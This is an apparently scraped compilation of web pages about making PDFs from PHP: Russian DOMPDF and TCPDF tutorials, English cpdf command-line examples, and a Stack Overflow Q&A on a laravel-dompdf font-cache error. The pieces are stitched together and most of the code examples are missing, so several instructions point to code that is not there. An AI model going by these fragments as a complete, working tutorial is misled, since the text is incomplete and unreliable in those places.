    Шаблон представляет обычную HTML страницу с добавлением некоторых новых свойств CSS, которые необходимы для работы самой библиотеки. Весь исходный код шаблона я здесь приводить не стану, так как в этом нет необходимости. Тем более что к статье прилагаются все необходимые файлы. Кстати в шаблоны можно встраивать код на PHP и JavaScript. В нашем случае в шаблоне будет располагаться шесть меток: метка для устанавливаемого номера страницы , метка с кодом цвета для подвала страницы, метка для текста на первой странице, метка для текста на второй странице и две метки и для вывода информационного текста в подвал. Также будет присутствовать встроенный скрипт на PHP для примитивного рисования и вывода нумерации страниц. Данные, которые могут занимать более одной страницы необходимо заключать в блок. Можно конечно этого не делать, но тогда не будет возможности вставлять разрывы страниц, да и текст может не равномерно заполнять страницу. Для вставки разрыва страницы, следует в стилях этого блока прописать одно из следующих свойств:

    • page-break-after: always – вставляет разрыв после страницы;
    • page-break-before: always – вставляет разрыв перед страницей;
    • page-break-inside: auto – здесь имеется ввиду, что DOMPDF сама “примет” решение;
    • page-break-inside: avoid – запрещает разрыв внутри элемента.

    Теперь осталось сделать нумерацию страниц. Для этого требуется написать небольшой PHP скрипт и вставить его в шаблон.

    Нумерацию можно сделать и другим способом. Создаете CSS стиль:

    А затем в необходимое вам в HTML коде место вставить конструкцию:

    Но только во втором варианте, нельзя задать номер стартовой страницы. Возможно, нам понадобиться не начинать нумерацию с единицы, а к примеру с двойки и т.д. В таком случае подойдет только использование первого метода.

    Примечание: При работе с графикой во встроенных скриптах, значение цвета каждой из RGB составляющих должно находиться в диапазоне 0 — 1. Т.е. каждую составляющую цвета в формате RGB требуется разделить на 255.

    Создание модуля для экспорта данных

    Осталось самое простое – это сделать экспорт данных. Но есть в библиотеке и еще один небольшой баг. Он заключается в том, что если нам понадобиться сгенерировать несколько файлов, то нужно для каждой итерации создавать экземпляр объекта класса DOMPDF заново, иначе вы получите сообщение об ошибке. Ниже приведен исходный код модуля:

    В результате должен получиться PDF файл следующего образца:

    Конвертируем HTML в PDF при помощи Dompdf

    PDF — формат, ставший уже стандартом. Он был изначально создан Adobe для представления текста и изображений в документе с фиксированной структурой. Давно не редкость для веб-приложений, поддерживающих скачку данных, таких как счета или отчеты, отдавать их в PDF формате. Так что в этой статье мы пройдем простую генерацию PDF документов используя PHP.

    Dompdf — это отличная библиотека, способная генерировать PDF из HTML-разметки и CSS-стилей (в большинстве случаев это стили, совместимые с CSS 2.1 с поддержкой некоторых свойств CSS3). Мы можем определить, как наше содержимое должно выглядеть, используя эти знакомые технологии, и после легко конвертировать его в фиксированный документ. Также эта библиотека имеет и другие полезные и интересные функции.

    Приступаем к работе

    Dompdf доступен на GitHub и может быть установлен используя Composer. Установка через Composer без каких-либо ошибок часто вызывает трудности, поэтому я рекомендую просто использовать Git для установки Dompdf.

    Библиотека требует PHP >= 5.0 с активированными расширениями mbstring и DOM. Также она требует несколько шрифтов, которые обычно доступны на большинстве компьютеров.

    Перейдите в директорию, куда собираетесь установить библиотеку и выполните в командной строке:

    Как только мы скачали Dompdf, давайте напишем короткий пример, который сгенерирует простой PDF документ:

    Для того, чтобы использовать библиотеку в проекте, мы сначала подтягиваем файл dompdf_config.inc.php, который содержит большую часть конфигурации Dompdf. Он также загружает autoloader и пользовательский файл конфигурации в котором мы можем переопределить параметры по умолчанию.

    HTML-разметка передается как строка в метод load_html(). Альтернативно мы можем загрузить разметку из файла или URL, используя метод load_html_file(). Он принимает имя файла или URL веб-страницы в качестве аргумента.

    Метод render() отображает HTML в PDF, и мы готовы к отдаче файла. Метод stream() отправляет результирующий PDF как вложение в браузер. Этот метод имеет необязательный второй параметр, массив опций:

    • Accept-Rangesboolean, отсылает заголовок “Accept-Ranges” (по умолчанию false).
    • Attachmentboolean, отсылает заголовок “Content-Disposition: attachment” заставляя браузер отображать запрос на сохранение (по умолчанию true).
    • compressboolean, включает сжатие содержимого (по умолчанию true).

    Только что мы сгенерировали очень простой PDF, но это не совсем практично. В реальности мы часто имеем требования к размеру листа, ориентации страницы, кодировке символов и т.д. Есть целый набор опций, которые мы можем установить, чтобы сделать Dompdf более подходящим для наших реальных потребностей. Все они перечислены и объяснены в файле dompdf_config.inc.php, который устанавливает им значения по умолчанию. Вы можете менять эти значения, обновляя файл пользовательской конфигурации dompdf_config.custom.inc.php. Вот некоторые из важных настроек:

    • DOMPDF_DEFAULT_PAPER_SIZE – устанавливает размер листа по умолчанию для PDF-документа. Поддерживаемые размеры листов вы можете найти в файле include/cpdf_adapter.cls.php (значение по умолчанию — “letter”).
    • DOMPDF_TEMP_DIR – указывает временную папку, используемую Dompdf. Убедитесь, что эта директория доступна на запись согласно настройкам вашего веб-сервера.
    • DOMPDF_UNICODE_ENABLED – устанавливает, будет ли PDF использовать шрифты Unicode (по-умолчанию true).
    • DOMPDF_ENABLE_REMOTE – активирует включение изображений или CSS-стилей из удалённых сайтов (по-умолчанию false).
    • DEBUG_LAYOUT – устанавливает, будет ли отображена граница вокруг каждого HTML блока в PDF файле. Очень удобно для отладки макета (по умолчанию false).

    Продвинутое использование

    Теперь давайте немного поговорим о продвинутом использовании Dompdf. Возможно мы хотим сохранить сгенерированный PDF документ на диск, вместо того чтобы отсылать его в браузер. Вот как это делается:

    Вместо вызова stream(), как в прошлом примере, мы используем output(), который возвращает PDF как строку. Этот метод также принимает массив опций, но доступна лишь одна — compress (по умолчанию true).

    Dompdf также позволяет нам добавлять хедер и футер к сгенерированному PDF, встраивая PHP-скрипт прямо в HTML, который он отображает. Но из-за того, что обработка произвольного кода может представлять из себя угрозу безопасности, значение конфигурации, которое отвечает за эту функциональность, по умолчанию выключено. Нам необходимо для начала установить опцию DOMPDF_ENABLE_PHP как true.

    Как только мы включили выполнение встроенного PHP, объект PDF станет доступным внутри скрипта и мы сможем использовать его для манипуляций со страницей. Мы можем добавлять текст, линии, изображения, прямоугольники и т.д.

    Скрипт встроен прямо в HTML-разметку и сначала открывает объект, чтобы мы могли влиять на отображение. Вся отрисовка будет записана в этот объект и мы сможем добавить его на все выделенные страницы (хотя есть и ограничения).

    Затем мы получаем реальную ширину и высоту страницы, чтобы посчитать координаты футера, который мы собираемся добавить. Также нам требуется предоставить обьект шрифта, поскольку мы добавляем текстовое содержимое. Font_Metrics::get_font() позволяет создать объект, который нам необходим. Мы также берем высоту данного шрифта из его размера используя get_font_height(), чтобы посчитать позиционирование содержимого футера. Метод get_font_width() возвращает ширину нашего текста для данного шрифта и размера, которую мы также используем в наших вычислениях.

    Метод line() рисует линию из точки (X1,Y1) в точку (X2,Y2). Обратите внимание, значение цвета подставляется не совсем в RGB. Основной PDF-класс требует значения между 0 и 1, так что мы конвертируем значения RGB в эти новые значения. Чтобы получить лучшее приближение (approximation), вы можете поделить их на 255.

    Мы добавляем номер для каждой страницы, используя метод page_text(), которой принимает координаты X и Y, а также текст, который будет добавлен, объект шрифта, размер шрифта и цвет. Dompdf автоматически заменяет значения для и на каждой странице, и делает $pdf доступным для нас.

    Также мы можем не использовать встроенный PHP и достигать аналогичного эффекта прямо из PHP, примерно так:

    Обратите внимание, мы размещаем код после вызова $dompdf->render() потому что мы, по существу, редактируем уже созданный PDF.

    Подведем итоги

    В этой статье мы обсудили простой способ конвертировать HTML в PDF используя Dompdf. Несмотря на то, что Dompdf отличная библиотека, она не является полностью универсальным решением для генерации PDF документов; она все же имеет определенные ограничения и проблемы. Dompdf не очень терпимо относится к плохо оформленному HTML и большие таблицы могут легко привести к переполнению памяти. Некоторые базовые функции CSS, такие как float не полностью поддерживаются. И вообще, поддержка CSS3 очень ограничена. Если вам необходимы функции, которые не поддерживаются в Dompdf, вам может помочь к примеру wkhtmltopdf. Тем не менее, Dompdf является очень простым и удобным инструментом для решения большинства задач по экспорту PDF.

    На самом деле довольно трудно объяснить все функции библиотеки в статье вроде этой, поэтому не забудьте просмотреть документацию и исходный код, а также изучите такие полезные функции, как добавление колбэков, использование своих шрифтов и др.

    PDF Command Line Tools Usage Examples

    Here are some examples of the PDF command line tools in action. This is just a small selection—for more examples, see the Full PDF Manual.

    When using Microsoft Windows, replace cpdf with cpdf.exe.

    Index

    1. Basic Usage

    cpdf in.pdf 1-3,6 -o out.pdf

    Read in.pdf, select pages 1, 2, 3 and 6, and write those pages to out.pdf.

    cpdf in.pdf even -o out.pdf

    Select the even pages (2, 4, 6. ) from in.pdf and write those pages to out.pdf.

    cpdf -merge in.pdf in2.pdf AND -add-text «Copyright 2020» -o out.pdf

    Using AND to perform several operations in order, here merging two files together and adding a copyright stamp to every page.

    cpdf -control control.txt

    Read control.txt and use its contents as the command line arguments for cpdf.

    2. Merging and Splitting

    cpdf -merge in.pdf in2.pdf -o out.pdf

    Merge in.pdf and in2.pdf into one document, writing to out.pdf.

    cpdf -split in.pdf -o Chunk%%%.pdf -chunk 10

    Split in.pdf into ten-page chunks, writing them to Chunk001.pdf, Chunk002.pdf etc.

    cpdf -split-bookmarks 0 in.pdf -o @N.pdf

    Split in.pdf on bookmark boundaries, writing each to a file whose name is the bookmark label.

    3. Pages

    cpdf -scale-page «2 2» in.pdf -o out.pdf

    Scale both the dimensions and contents of in.pdf by a factor of two in x and y directions.

    cpdf -scale-to-fit usletterportrait in.pdf -o out.pdf

    Scale the pages in in.pdf to fit the US Letter page size, writing to out.pdf

    cpdf -shift «26pt 18mm» in.pdf -o out.pdf

    Shift the contents of the page by 26 pts in the x direction, and 18 millimetres in the y direction, writing to out.pdf

    cpdf -rotate-contents 90 in.pdf -o out.pdf

    Rotate the contents of the pages in in.pdf by ninety degrees and write to out.pdf.

    cpdf -crop «0 0 600pt 400pt» in.pdf -o out.pdf

    Crop the pages in in.pdf to a 600 pts by 400 pts rectangle.

    4. Encryption and Decryption

    cpdf -encrypt 128bit fred joe in.pdf -o out.pdf

    Encrypt in.pdf using 128bit PDF encryption using the owner password fred and the user password joe and writing the encrypted file to out.pdf

    cpdf -decrypt in.pdf owner=fred -o out.pdf

    Decrypt in.pdf using the owner password, writing to out.pdf.

    5. Compression

    cpdf -compress in.pdf -o out.pdf

    Compress the data streams in in.pdf, writing the result to out.pdf.

    cpdf -decompress in.pdf -o out.pdf

    Decompress the data streams in in.pdf, writing to out.pdf.

    6. Bookmarks

    cpdf -list-bookmarks in.pdf

    List the bookmarks in in.pdf. This would produce:

    0 «Part 1» 1 open
    1 «Part 1A» 2
    2 «Part 1B» 3
    0 «Part 2» 4
    1 «Part 2a» 5

    cpdf -add-bookmarks bookmarks.txt in.pdf -o out.pdf

    Add bookmarks in the same form from a prepared file bookmarks.txt to in.pdf, writing to out.pdf.

    7. Presentations

    cpdf -presentation in.pdf 2-end -trans Split -duration 10 -o out.pdf

    Use the Split style to build a presentation from the PDF in.pdf, each slide staying 10 seconds on screen unless manually advanced. The first page, being a title does not move on automatically, and has no transition effect.

    8. Logos, Watermarks and Stamps

    cpdf -stamp-on watermark.pdf in.pdf -o out.pdf

    Stamp the file watermark.pdf on to each page of in.pdf, writing the result to out.pdf.

    cpdf -topleft 10 -font Courier -add-text «Page %Page\nDate %d-%m-%Y» in.pdf -o out.pdf

    Add a page number and date to all the pages in in.pdf using the Courier font, writing to out.pdf

    9. Multipage Facilities

    cpdf -twoup-stack in.pdf -o out.pdf

    Two up impose the file in.pdf, writing to out.pdf

    cpdf -pad-after 1,3,4 in.pdf -o out.pdf

    Add extra blank pages after pages one, three and four of a document.

    ErrorException in Cpdf.php line 3855: Undefined index: at barryvdh/laravel-dompdf

    I am using laravel 5.2, The dompdf runs fine at localhost but when moved to AWS it keeps showing ErrorException in Cpdf.php line 3855: Undefined index: , in this line (3855) has font variable.

    I can not set ‘currentFont’ => ‘sans-serif’ at setOptions due to no options in barryvdh/laravel-dompdf. so how can I solve currentFont issue.

    Localhost — Windows — Runs fine.

    AWS — Linux — Error.

    1 Answer 1

    Error solved by delete dompdf_font_family_cache.php file from storage/fonts and let the renderer regenerate the cache.

    Not the answer you’re looking for? Browse other questions tagged php laravel-5 dompdf or ask your own question.

    Linked

    Hot Network Questions

    Subscribe to RSS

    To subscribe to this RSS feed, copy and paste this URL into your RSS reader.

    site design / logo © 2020 Stack Exchange Inc; user contributions licensed under cc by-sa 4.0 with attribution required. rev 2020.11.12.35412

    Пишет вам веб-разработчик

    на понятном языке

    Tag Archives: TCPDF

    Формируем PDF файл из PHP

    Столкнулся недавно с задачей формирования PDF файла из PHP. Немного погуглив нашел два программных решения: FPDF и TCPDF. Первое значительно компактнее второго, но мне не подошло, т.к. там имелись проблемы с русскими шрифтами. Шрифты для него необходимо как-то обрабатывать и включать в состав продукта, после чего можно работать. С этим разбираться не хотелось и поэтому я стал смотреть второй вариант — TCPDF. В кодировке UTF-8 всё отображается сразу нормально.

    PDF-файл может формироваться разными способами, самый простой из которых — формирование из HTML кода. Правда HTML поддерживается лишь частично, но все основное есть и работает. Можно задавать стили и цвета текста, размещать картинки и таблицы. Для моей задачи этого было более чем достаточно.

    Весьма просто создать PDF-файл из HTML кода средствами TCPDF, вот пример:

    1. сначала копируете файлы TCPDF в необходимую папку на хостинге.

    2. пишете программный код.

    ВАЖНО! Файл примера должен быть записан в кодировке UTF-8! Иначе ничего не увидите в сгенерированном PDF-файле.

    На сайте TCPDF имеется множество других примеров.

    P.S. Если при запуске примеров Вы видите ошибку:

    TCPDF ERROR: Some data has already been output, can’t send PDF file

    Понравилась статья? Поделиться с друзьями:
    Кодинг, CSS и SQL